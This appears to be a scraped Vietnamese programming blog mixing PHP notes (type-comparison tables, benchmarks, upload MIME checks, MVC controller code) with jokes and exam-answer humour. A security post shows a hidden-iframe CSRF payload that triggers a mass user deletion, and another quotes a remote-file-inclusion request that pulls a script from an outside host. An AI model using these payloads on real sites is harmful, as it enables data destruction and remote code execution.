
Thiên đường phải chăng là địa ngục ...
isset() và empty ()
Expression | gettype() | empty() | is_null() | isset() | boolean : if($x) |
---|---|---|---|---|---|
$x = ""; | string | TRUE | FALSE | TRUE | FALSE |
$x = null | NULL | TRUE | TRUE | FALSE | FALSE |
var $x; | NULL | TRUE | TRUE | FALSE | FALSE |
$x is undefined | NULL | TRUE | TRUE | FALSE | FALSE |
$x = array(); | array | TRUE | FALSE | TRUE | FALSE |
$x = false; | boolean | TRUE | FALSE | TRUE | FALSE |
$x = true; | boolean | FALSE | FALSE | TRUE | TRUE |
$x = 1; | integer | FALSE | FALSE | TRUE | TRUE |
$x = 42; | integer | FALSE | FALSE | TRUE | TRUE |
$x = 0; | integer | TRUE | FALSE | TRUE | FALSE |
$x = -1; | integer | FALSE | FALSE | TRUE | TRUE |
$x = "1"; | string | FALSE | FALSE | TRUE | TRUE |
$x = "0"; | string | TRUE | FALSE | TRUE | FALSE |
$x = "-1"; | string | FALSE | FALSE | TRUE | TRUE |
$x = "php"; | string | FALSE | FALSE | TRUE | TRUE |
$x = "true"; | string | FALSE | FALSE | TRUE | TRUE |
$x = "false"; | string | FALSE | FALSE | TRUE | TRUE |
TRUE | FALSE | 1 | 0 | -1 | "1" | "0" | "-1" | NULL | array() | "php" | "" | |
---|---|---|---|---|---|---|---|---|---|---|---|---|
TRUE | TRUE | FALSE | TRUE | FALSE | TRUE | TRUE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE |
FALSE | FALSE | TRUE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE | TRUE | TRUE | FALSE | TRUE |
1 | TRUE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE |
0 | FALSE | TRUE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE | TRUE | FALSE | TRUE | TRUE |
-1 | TRUE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE |
"1" | TRUE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE |
"0" | FALSE | TRUE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE |
"-1" | TRUE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE |
NULL | FALSE | TRUE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | TRUE | TRUE | FALSE | TRUE |
array() | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE | TRUE | FALSE | FALSE |
"php" | TRUE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE |
"" | FALSE | TRUE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | TRUE |
TRUE | FALSE | 1 | 0 | -1 | "1" | "0" | "-1" | NULL | array() | "php" | "" | |
---|---|---|---|---|---|---|---|---|---|---|---|---|
TRUE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE |
FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE |
1 | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE |
0 | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE |
-1 | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE |
"1" | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE |
"0" | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE |
"-1" | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE |
NULL | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE |
array() | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE |
"php" | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE |
"" | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE |
PHP security video
This Tutorial covers Cross Site Scripting (XSS), Cross Site Forgery Requests (CSFR), SQL Injection, globals, and much more!
Basic Cross-site request forgery
<@body>
You won $1,000,000
<@iframe src="http://our_local_server/administrator/index.php?page=loadajax&action=deleteall&table=user&fprimary=id&cond=0,%276%27&fname=etc" width="0" height="0">
<@/body>
for($i=0;$i<=999999;++$i) { //call the action url here }
index.php?page=loadajax&action=deleteall&table=user&fprimary=id&cond=0,%276%27&fname=etc&token=10d3612ccee6f20d650288855624f9ad
Lazy Loading to improve performance of your php code
<?php
require '/class/Database.php';
require '/class/Common.php';
require '/class/Action.php';
require '/class/Template.php';
require '/class/Module.php';
?>
<?php
define('CLASS_DIR', 'class/')
set_include_path(get_include_path().PATH_SEPARATOR.CLASS_DIR);
spl_autoload_extensions('.class.php');
spl_autoload_register();
function autoload($className)
{
include_once($className);
}
$user = new user();
?>
Betta
Solo o_0
Metallica feat Britney spear
Trí thông minh
Một cô tóc vàng hoe ngồi cạnh một luật sư trên máy bay. Mới nhìn thấy mái tóc của cô ta, vị luật sư đã tỏ ra khinh thường. Ông ta rủ cô gái chơi trò thử trí thông minh.
Hai người thỏa thuận sẽ đố nhau 10 câu. Nếu cô tóc vàng không trả lời được một câu, cô sẽ phải trả 5 đôla. Còn nếu vị luật sư thua, ông ta sẽ phải bỏ ra 50 đô. Vị luật sư đồng ý vì biết chắc rằng ông ta không thể thua.
Người tự cho là thông minh hỏi trước: -Khoảng cách giữa trái đất và hành tinh gần nhất là bao nhiêu?.
Chẳng nói một lời, cô tóc vàng rút ví trả ngay 5 đô, rồi hỏi: -Cái gì leo lên đồi bằng 3 chân, nhưng xuống đồi bằng 4 chân?.
Vị luật sư ngồi nghĩ mãi, nghĩ mãi, hết tra máy tính rồi lại gọi điện nhờ tư vấn, nhưng vẫn chẳng tìm ra câu trả lời. Cuối cùng, giận dữ và thất vọng, ông ta rút ra 50 đô đưa cho đối thủ.
Cô tóc vàng chẳng nói chẳng rằng đút ngay tiền vào túi. Kẻ thua cuộc nài nỉ: -Cô cho tôi biết đáp án đi nào!.
Lập tức, cô gái lại lấy ra 5 đô trả cho vị luật sư.
Từ PHP không được sử dụng trong sản phẩm viết bằng PHP
4. Products derived from this software may not be called "PHP", norSản phẩm không được đặt tên là "PHP" hoặc không có từ PHP xuất hiện trong tên.
may "PHP" appear in their name, without prior written permission
from group@php.net. You may indicate that your software works in
conjunction with PHP by saying "Foo for PHP" instead of calling
it "PHP Foo" or "phpfoo"
PHP Benchmark tests
NOTE | You must keep in mind to refresh this page a few times to "catch" the right result. The numbers change sometimes drastically during each refresh. I assume that this is because of PHP's memory garbage collector that drops in randomly and also other processes that run on this machine have an influence. |
Test: READ LOOP: foreach() vs. while(list()=each()) | ||
---|---|---|
What is the best way to loop a hash array? Given is a Hash array with 100 elements, 24byte key and 10k data per entry I've chosen the large data amount to try out what happens if I reference the data with the &-ref-operator (to avoid copying). But to my surprise the loops are never faster! In tests 5 and 6 are even 10x - 30x slower !! The larger the data entrys are the slower the tests 5 and 6 get! Copying seams always faster then using the &-ref-operator. Way ??? Let me know at bs_php@users.sourceforge.net | ||
+ 411 % | 1: foreach($aHash as $val); | Total time: 6[ms] |
+ 196 % | 2: while(list(,$val) = each($aHash)); | Total time: 3[ms] |
+ 901 % | 3: foreach($aHash as $key=>$val); | Total time: 14[ms] |
+ 938 % | 4: while(list($key,$val)= each($aHash)); | Total time: 15[ms] |
+ 625 % | 5: foreach($aHash as $key=>$val) $tmp[] = &$aHash[$key]; | Total time: 10[ms] |
+ 598 % | 6: while(list($key) = each($aHash)) $tmp[]=&$aHash[$key]; | Total time: 9[ms] |
+ 200 % | 7: Get key-/ value-array: foreach($aHash as $key[]=>$val[]); | Total time: 3[ms] |
+ 100 % | 8: Get key-/ value-array: array_keys() / array_values() | Total time: 2[ms] |
+ 148 % | 9: STRANGE: This is the fasetest code when using the the &-ref-operator (to avoid copying) $key = array_keys($aHash); $size = sizeOf($key); for ($i=0; $i<$size; $i++) $tmp[] = &$aHash[$key[$i]]; | Total time: 2[ms] |
Conclusion: It must have something to do with PHP4 variable ref-count So you can safely use foreach and only use the &-ref-operator when realy needed OR (according to the link above) when passing objects to functions. (Thanx to Wayne for his help) |
Test: MODIFY LOOP: foreach() vs. while(list()=each()) | ||
---|---|---|
While the above test only reads and copies the data the question arised what would happen if I modify each value of the hash above. Again I an unexpected result. Even if I reduce the data size to 100 byte p. e. it ends up that Nr.3 is 1.5 - 2x faster. | ||
+ 602 % | 1: foreach($aHash as $key=>$val) $aHash[$key] .= "a"; | Total time: 14[ms] |
+ 134 % | 2: while(list($key) = each($aHash)) $aHash[$key] .= "a"; | Total time: 3[ms] |
+ 100 % | 3: STRANGE: This is the fasetest code : $key = array_keys($aHash); $size = sizeOf($key); for ($i=0; $i<$size; $i++) $aHash[$key[$i]] .= "a"; | Total time: 2[ms] |
Conclusion: Use foreach unless the hash is lage AND has lage data elements. In that case use variation Nr.3 . |
Test: For-loop test | ||
---|---|---|
Is it worth the effort to calculate the length of the loop in advance? E.g. "for ($i=0; $i<$size; $i++)" instead of "for ($i=0; $i | ||
+ 100 % | 1: With pre calc | Total time: 3[ms] |
+ 1021 % | 2: Without pre calc | Total time: 35[ms] |
Conclusion: The test above speeks for it self. Always calculate the length of the loop in advance! |
Test: Using the &-ref-operator as so called "alias" | ||
---|---|---|
Is a good idea to use the &-ref-operator to substitute (or alias) a complex mutidim-array? . Call 1'000x E.g. $person = &$aHach["country"]["zip"]["streat"]["number"]["name"] | ||
+ 103 % | 1: NO Aliasing. Using: $aSingleDimArray[$i] | Total time: 3[ms] |
+ 100 % | 2: Aliasing. Using: $alias = &$aSingleDimArray[$i] | Total time: 3[ms] |
+ 147 % | 3: NO Aliasing. Using: $aMultiDimArray[$i]["aaaaa"]["aaaaaaaaaa"] | Total time: 5[ms] |
+ 110 % | 4: Aliasing. Using: $alias = &$aMultiDimArray[$i]["aaaaa"]["aaaaaaaaaa"] | Total time: 3[ms] |
+ 208 % | 5: NO Aliasing. Using: veryMultiDimArray[$i]["a"]["aa"]["aaa"]["aaaa"]["aaaaa"] | Total time: 7[ms] |
+ 126 % | 6: Aliasing. Using: $alias = &$veryMultiDimArray[$i]["a"]["aa"]["aaa"]["aaaa"]["aaaaa"] | Total time: 4[ms] |
Conclusion: It seams to be ok to use aliases. It also makes the code more readabel. But I was expecting to get a lager performance gain; especially with very multdimetional arrays. |
Test: $obj = new SomeClass() vs. $obj =& new SomeClass() using the =&-ref-operator | ||
---|---|---|
Is a good idea to use the =&-ref-operator when creating a new object? Call 1'000x | ||
+ 103 % | 1: $obj = new SomeClass() | Total time: 4[ms] |
+ 100 % | 2: $obj =& new SomeClass() | Total time: 4[ms] |
+ 207 % | 3: $obj =& $someClass->f(); | Total time: 8[ms] |
+ 135 % | 4: $obj = $someClass->f(); | Total time: 6[ms] |
Conclusion: There seams to be no difference in performance. |
Test: double (") vs. single (') quotes | ||
---|---|---|
Is a there a difference in using double (") and single (') quotes for strings. Call 1'000x | ||
+ 100 % | 1: single (') quotes. Just an empty string: $tmp[] = ''; | Total time: 1[ms] |
+ 102 % | 2: double (") quotes. Just an empty string: $tmp[] = ""; | Total time: 1[ms] |
+ 114 % | 3: single (') quotes. 20 bytes Text : $tmp[] = 'aaaaaaaaaaaaaaaaaaaa'; | Total time: 1[ms] |
+ 111 % | 4: double (") quotes. 20 bytes Text : $tmp[] = "aaaaaaaaaaaaaaaaaaaa"; | Total time: 1[ms] |
+ 111 % | 5: single (') quotes. 20 bytes Text and 3x a $ : $tmp[] = 'aa $ aaaa $ aaaa $ a'; | Total time: 1[ms] |
+ 172 % | 6: double (") quotes. 20 bytes Text and 3x a $ : $tmp[] = "aa $ aaaa $ aaaa $ a"; | Total time: 2[ms] |
+ 111 % | 7: double (") quotes. 20 bytes Text and 3x a \$ : $tmp[] = "aa \$ aaaa \$ aaaa \$ a"; | Total time: 1[ms] |
Conclusion: Single and double quoted strings behave almost the same with one exception: Don't use the a lonely ($) in double quoted string unless you want to reference a PHP-var; or use (\$). |
Test: isSet() vs. empty() vs. is_array() | ||
---|---|---|
What is the performance of isSet() and empty(). Call 2'000x | ||
+ 100 % | 1: isSet() with var that was set | Total time: 1[ms] |
+ 101 % | 2: empty() with var that was set | Total time: 1[ms] |
+ 108 % | 3: isSet() with var that was *not* set | Total time: 1[ms] |
+ 101 % | 4: empty() with var that was *not* set | Total time: 1[ms] |
+ 127 % | 5: isSet() with array-var that was set | Total time: 2[ms] |
+ 131 % | 6: empty() with array-var that was set | Total time: 2[ms] |
+ 125 % | 7: isSet() with array-var that was *not* set | Total time: 2[ms] |
+ 126 % | 8: empty() with array-var that was *not* set | Total time: 2[ms] |
+ 140 % | 9: is_array() of an array | Total time: 2[ms] |
+ 140 % | 10: is_array() of a string | Total time: 2[ms] |
+ 343 % | 11: is_array() of a non set value | Total time: 4[ms] |
+ 115 % | 12: isSet() AND is_array() of a non set value | Total time: 1[ms] |
Conclusion: isSet() and empty() are identical. Interesting that a is_array() on a unset val is 3x slower. So alway check if val is set at all befor using type-checking. E.g. if (isSet($foo) AND is_array($foo)) |
Test: switch/case vs. if/elseif | ||
---|---|---|
Is a there a difference between switch and if elseif. Call 1'000x | ||
+ 131 % | 1: if and elseif (using ==) | Total time: 3[ms] |
+ 100 % | 2: if and elseif (using ===) | Total time: 2[ms] |
+ 107 % | 3: case | Total time: 2[ms] |
Conclusion: Using a switch/case or if/elseif is almost the same. Note that the test is unsing === and is slitly faster then using ==. |
Internet Explorer SUCKS
$allow_file = array('gif','jpg','png','doc','docx','rar','zip','wma','mp3','pdf');
$allow_mime = array(
'image/gif', 'image/jpeg', 'image/png',
'application/msword', 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
'application/x-rar-compressed', 'application/zip',
'application/octet-stream','application/force-download','image/pjpeg', //fix for suck mime of ie *_*
'audio/mpeg', 'audio/x-ms-wma',
'application/pdf'
);
zip application/zip
doc application/msword
docx application/vnd.openxmlformats-officedocument.wordprocessingml.document
jpeg image/jpeg
jpg image/jpeg
doc application/msword
mp3 audio/mpeg3
rar application/x-rar-compressed
rar => application/x-rar-compressedBut in Internet Explorer:
zip => application/zip
and
jpeg => image/jpeg
rar => application/force-downloadI have not tested all the mime type, but now I know the reason of missing file.
zip => application/octet-stream
and
jpeg => image/pjpeg
Shell??
/?mosConfig_absolute_path=http://www.aalesundby.no/.../.thumb/site.txt????Wtf???
Xả xì trét
Xe :-"
Phantom of the opera
Những áng văn bất hủ kì thi 2009
Việc chấm bài thi tốt nghiệp THPT môn Ngữ văn của giám khảo chúng tôi, đến hôm nay (11/6) đã được già nửa chặng đường...."về đích". Đồng nghiệp của chúng tôi chia sẻ: "Đi chấm văn bây giờ có nhiều cảm xúc từ bài làm của thí sinh lắm...!"
Càng cảm xúc, hồi hộp hơn, vì đây là những bài văn của lứa học sinh đầu tiên, kiểm nghiệm thành quả của chương trình phân ban. Ai cũng muốn xem chất lượng làm bài của học sinh phân ban đầu tiên này có gì khác biệt, nổi trội hơn so với các thế hệ học trò cải cách đã qua không?!
Mỗi giám khảo, thanh tra chấm thi chúng tôi đã thẩm định, đánh giá không dưới trăm bài thi, thực tế, không có gì khác mấy so với các năm trước, thuộc hệ cải cách. Bên cạnh một số ít bài văn tốt, diễn đạt hay, viết văn có cảm xúc, sáng tạo, chúng tôi còn bắt gặp vô vàn các bài văn hạn chế, yếu kém.
Biểu hiện cụ thể của nó thì cũng hết sức đa dạng, phong phú: Chữ viết cẩu thả, trình bày tệ hại, sai chính tả, câu què, câu cụt, diễn đạt, ý tứ sai lạc, vụng về, tối nghĩa, rối rắm...
Do dung lượng trang báo có hạn, ở bài viết này, chúng tôi chỉ dẫn ra những ví dụ được xem là tương đối "đặc biệt" trong các bài làm văn của thí sinh:
1 - Sai lạc đến chết người
- Lỗ Tấn, sinh năm 1985, mất năm 1963, quê quán ở tỉnh Bắc Ninh, gốc Ba Tàu, từng có 3 đời vợ, 5 người con.
- Hạ Dụ là con của bà cụ Tứ, con ruột của Tràng, từng bị trận đói năm 1945 hành hạ, đe dọa cho tơi tả, xơ xác mướp. (Sau đó, câu chuyển sang Hạ Du - một người cách mạng trong quân ái quốc. Dùng bánh bao để trị bệnh điên cho Hạ Du).
- Tô Hoài sinh năm 1920, quê Nghệ An, năm 1960 ông có 200 bài thơ và đạt kỹ luật (kỉ lục) nhà thơ Việt Nam.
- Tô Hoài là người chiến sĩ cách mạng đã từng sống và chiến đấu trên vùng đất...Tây Nguyên.
2 - Các câu văn ngây ngô... không nhịn được cười:
- Các bạn không được đọc những cuốn sách đồ trị (đồi trụy) mà nhà sách cấm nhé!
- Người xưa từng nói: "ăn gì bổ nấy". Việc đọc sách cũng vậy.
- Cho nên chúng ta hay đọc xách (sách) trong những giờ rãnh (rảnh) rỗi, chúng ta đọc không phải mằm (nằm) chổ (chỗ) này đọc, hay ngồi chổ (chỗ) kia, ngồi chổ (chỗ) nào có đủ lượng ánh xáng (sáng) chiếu vào để k (không) thể tăng cho mắt chúng ta bị cận được.
- Ông Tô Hoài đã giết chết Mỵ nhưng vì Mỵ có sức sống tiềm tàng nên cho Mỵ sống lại, để tiếp tục chung sống với Pa trá.
- Mị sinh ra trong 1 gia đình nghèo, nghèo từ trong trứng nghèo ra.
- Khi A Sử thay đồ chuẩn bị đi chơi. Mỵ cũng xin A Sử cho đi theo nhưng A Sử không cho mà còn đánh đập, trụt quần và trói Mỵ vào cái cột.
- Mỵ muốn được chơi nhảy như bao người khác. Hình dáng Mỵ đẹp tuyệt trần, đôi mắt long lanh lúc nào cũng buồn, hàm răng đẹp, gò má cao, đầu tóc dài xinh đến không thể tả được chỉ có một cái là Mỵ hơi ốm một tí mà thôi. Nhớ tới Mị là em nhớ đến những thiếu nữ Hà Nội tha thướt bên Hồ Gươm chiều chủ nhật.
- Vợ chồng thống lí đại diện cho phái ác. Hắn ức hiếp Mị, làm cho Mị không có lối thoát, còn vợ hắn thì lấy cớ đó đánh đập tàn nhẫn cho rằng Mị đụ dỗ chồng bà ta.
- Tô Hoài như đang đùa giỡn khi xây dựng Mị như vậy... Có lẽ Tô Hoài cũng đau xót. Nhưng thật khó để mà hiểu biết được một tác giả lớn Tô Hoài: vùi dập, khai mở rồi lại vùi dập. Những hy vọng sống của Mị lại bị A Sử cho đi vào ngõ hẻm.
3 - Những câu văn so sánh thuộc hàng... siêu so sánh
- Khi A Phủ đến thuê cho nhà thống lí với công việc chăn trâu, sau một thời gian qua Mị vẫn ngồi trong chuồng heo, giống một con heo đang tìm chỗ trốn mà cứ người khác.
- Người nhà Pa tra đánh cho A Phủ đến ngất sỉu (xỉu) rồi đổ nước cho tỉnh lại. Thể hiện con người nhà thống lí độc ác, dã man, đánh người đánh như con chó.
- Được thả A Phủ chạy ra khỏi nhà thống lí như một con trâu điên và vài phút do dự, sửa sang lại trang phục Mị đã chạy theo A Phủ như mây bay, gió thổi.
- Có thể thấy, việc Tô Hoài xây dựng một con người với những phẩm chất đẹp đang bị vùi dập và đang như tan chảy giống như phiến băng để trên một lò lửa, tan ra và khi chỉ còn là nước nó chỉ chờ đủ độ 100 độ c để sôi thôi.
- Sông Hương to như một con thuồng luồng đực cụp đuôi, to lớn, lượn quanh những khúc cua của đường đua công thức một...Sông Huơng với ba màu khác nhau có lúc là màu tím của gương mặt người thấm đẫm rượu say.
4 - Những dẫn chứng ví dụ... độc chiêu
- "Quê hương tôi có con sông xanh biếc.
Nước chảy mãi hai bên bờ."
Trong bài thơ Nhớ con sông quê hương của nhà thơ Tế Hanh, chúng tôi chưa bao giờ thấy có câu thơ thứ hai như thí sinh đã dẫn: "Nước chảy mãi hai bên bờ".
- "Trong tập sáng tác ca dao tục ngữ Việt Nam có câu:
Giang hồ hiểm ác anh không sợ
Chỉ sợ đường về vắng bóng em
Anh tôi đã "lấy 2 câu thơ làm của riêng". Chỉ câu nói ấy thôi mang anh đã tán được nhiều người, người ấy bây giờ mà tôi gọi là "chị hai". Đã thấy được sức hút của việc đọc sách làm cho con người ta sống vui tươi và hạnh phúc hơn".
Vừa dẫn ca dao tục ngữ, vừa chứng minh về tác dụng, ảnh hưởng của nó đối với đời sống tình cảm của anh trai mình. Đúng là một ví dụ khó ai mà nghĩ ra được!
5 - Râu ông nọ cắm cằm bà kia
- Đang giới thiệu về Tô Hoài lại chuyển sang nói về Tố Hữu; chẳng ăn nhập vào đâu: "Tô Hoài là một trong những cây bút văn xuôi hay nhất nền thơ ca Việt Nam hiện đại. Thơ Tố Hữu trữ tình lãng mạn luôn nói về những số phận đâu (đau) thương của con người và lên án sự bất công của các thế mạnh đã đem đến cho con người."
- Đề bài yêu cầu làm về Vợ chồng A Phủ, thì một thí sinh lại say sưa phân tích về các nhân vật trong Vợ Nhặt của Kim Lân đến 3 trang. Giám khảo chào thua.
Mô hình MVC: Vai trò của các thành phần và các vấn đề thiết kế trong các Web Framework
// Trong lớp Action của Controller
$productId = $this->request->get('product_id');
$electronicWarehouse = new ElectronicProductWarehouse();
$availableProducts = $electronicWarehouse->findAvailableProductsById($productId);
CakePHP, Zend Framework, Symfony, Ruby on Rails, Struts hay Spring MVC lựa chọn cách làm này. Bằng việc xóa khỏi bộ não View kiến thức về Model, Controller có thể thay thế nhiều Model, các API trên Model mà nhưng không cần phải nhắc View về điều đó. Điều này là đặc biệt quan trọng khi mà kiến trúc ứng dụng đòi hỏi phải phù hợp với việc các lớp Model cần thay đổi 1 cách linh hoạt (ví dụ như có sự can thiệp của Dependency Injection). Nhưng có vẻ như đây là nhiệm vụ của tầng Integration. Trong bài viết sau chúng ta sẽ xem xét lại vấn đề này với MVC Pull.// Trong lớp Action của Controller
// Load the PHP Savant2 class file and create an view instance.
require_once 'Savant2.php';
$view = new Savant2();
if (true === $availableProducts->empty())
{
// Assign values to the Savant instance.
$view->assign('products', $availableProducts);
// Display a template using the assigned values.
$view->display('products.tpl.php');
}
else
{
// Display a template using the assigned values.
$view->display('products_unavailable.tpl.php');
}
_layout->attachCss('home');
// Attach file: javascript
$this->_layout->attachScript('home');
// Attach file: meta
$this->_layout->attachMeta('home');
}
/**
* When use comes to this page by a mistake, redirect them to the about-us page
*
* @link http://www.wvbresearch.com/home/pages
* @name index
* @access public
*/
public function indexAction()
{
$this->forward('home', 'pages', 'about');
}
/**
* Show the introduction page about the website and company behind it
*
* @link http://www.wvbresearch.com/home/pages/about
* @name about
* @access public
*/
public function aboutAction()
{
// Attach placeholder: the name of ElementGroup
$this->_layout->registerBody('homeAbout');
// Set content for the response
$this->_response->setContent($this->_layout->render());
}
/**
* Show the contact page
*
* @link http://www.wvbresearch.com/home/pages/contact
* @name contact
* @access public
*/
public function contactAction()
{
// Instantiate form object
$this->initForm('contact');
// Create action state object
$this->initState();
try
{
// Check if the form is submitted and/or is submitted correctly
if (false === $this->_form->isPost() || false === $this->_form->validate())
{
throw new Exception();
}
// Initialize the model object wih an appropriate database access object
$model = new ContactModel($this->getDatabaseConnection('oracleweb', true));
// Persist the form data into data storage medium (database, file system, messaging server, email server, file-backed memory server)
if (false === $model->save($this->_form))
{
throw new Exception();
}
}
catch (Exception $ex)
{
// the form input is not complete. User need to fill it (if the form is rendered at the first time)
// or user need to correct the data and submit again
$this->_state->setState(Pone_Action_State::FORM_INCOMPLETE);
}
// Render the body part that contains contact form
$this->_layout->registerBody('homeContact');
// Set content for the response
$this->_response->setContent($this->_layout->render());
}
/**
* Show the faqs page
*
* @link http://www.wvbresearch.com/home/pages/faq
* @name faq
* @access public
*/
public function faqAction()
{
// Attach placeholder: the name of ElementGroup
$this->_layout->registerBody('homeFaq');
// Set content for the response
$this->_response->setContent($this->_layout->render());
}
/**
* Show the WVB global offices page
*
* @see Group_HomeGlobalOffices
* @see index.tpl.php
* @link http://www.wvbresearch.com/home/pages/offices
* @name WVB Global Offices
* @access public
*/
public function officesAction()
{
// Attach placeholder: the name of ElementGroup
$this->_layout->registerBody('homeGlobalOffices');
// Set content for the response
$this->_response->setContent($this->_layout->render());
}
/**
* Show the sitemap page
*
* @link http://www.wvbresearch.com/home/pages/sitemap
* @name faq
* @access public
*/
public function sitemapAction()
{
// Attach placeholder: the name of ElementGroup
$this->_layout->registerBody('homeSitemap');
// Set content for the response
$this->_response->setContent($this->_layout->render());
}
/**
* Show the terms and conditions page
*
* @link http://www.wvbresearch.com/home/pages/termsandconditions
* @name termsandconditions
* @access public
*/
public function termsandconditionsAction()
{
// Attach placeholder: the name of ElementGroup
$this->_layout->registerBody('homeTerms');
// Set content for the response
$this->_response->setContent($this->_layout->render());
}
/**
* Show the terms and conditions page
*
* @link http://www.wvbresearch.com/home/pages/termsandconditions
* @name termsandconditions
* @access public
*/
public function privacyAction()
{
// Attach placeholder: the name of ElementGroup
$this->_layout->registerBody('homePrivacy');
// Set content for the response
$this->_response->setContent($this->_layout->render());
}
}
?>
setFormKey('contact');
$this->setFormFeedbackHeader(_t('common.error.form.false'));
$titleRules = array(
Pone_Form_Rule::NOT_EMPTY => array('feedback' => _t('common.error.title.empty'))
);
$this->setValidationRule('title', $titleRules);
$nameRules = array(
Pone_Form_Rule::NOT_EMPTY => array('feedback' => _t('common.error.name.empty'))
);
$this->setValidationRule('name', $nameRules);
$emailRules = array(
Pone_Form_Rule::EMAIL => array('feedback' => _t('common.error.email.notvalid'))
);
$this->setValidationRule('email', $emailRules);
$contentRules = array(
Pone_Form_Rule::NOT_EMPTY => array('feedback' => _t('common.error.content.empty'))
);
$this->setValidationRule('content', $contentRules);
}
}
?>
getFront()->getActionController();
$this->form = $action->getDataForm();
if (null === $this->form)
{
throw new Pone_Exception('This element group is form-based so the action controller needs to initialize a form object for being re-used in this object');
}
$message = $action->getActionState();
if (Pone_Action_State::OK === $message->getState())
{
$this->_templateFile = 'homeContactCompletion';
}
}
}
?>